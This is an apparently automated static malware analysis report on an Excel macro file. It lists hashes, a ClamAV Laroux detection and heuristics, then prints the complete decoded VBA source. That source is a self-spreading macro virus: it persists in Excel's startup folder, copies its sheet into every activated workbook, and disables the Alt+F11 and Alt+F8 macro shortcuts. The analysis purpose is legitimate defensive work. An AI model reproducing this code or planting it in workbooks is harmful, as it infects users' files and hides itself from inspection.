Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6fa583c33f958f8d…

MALICIOUS

Office (OLE)

41.5 KB Created: 2010-06-04 11:55:52 Authoring application: Microsoft Excel First seen: 2015-09-21
MD5: 122a72b679cb6f24e6e47dd212097640 SHA-1: afd7a396f169ba734cc28439141b2d4119325dc6 SHA-256: 6fa583c33f958f8d5014ed522c63746001a061eb7643dbf3510829748ffb0c01
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is an Excel document containing VBA macros. The `auto_open` subroutine attempts to copy the current workbook to the Excel startup path as 'StartUp.xls', thereby establishing persistence. This behavior is indicative of a macro-based malware dropper. The ClamAV detection 'Doc.Macro.Laroux-5893719-0' further supports the malicious nature of the file.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1567 bytes
SHA-256: e9801bef61dd481a32b4da851c61331e9e6c79fb13eeeca6f8304240cb334267
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!acop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub acop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub

Sub aback()
  On Error Resume Next
  Application.OnKey "%{F8}", "StartUp.xls!escape"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnSheetActivate = "StartUp.xls!acop"
  Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!acop"
  Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub


Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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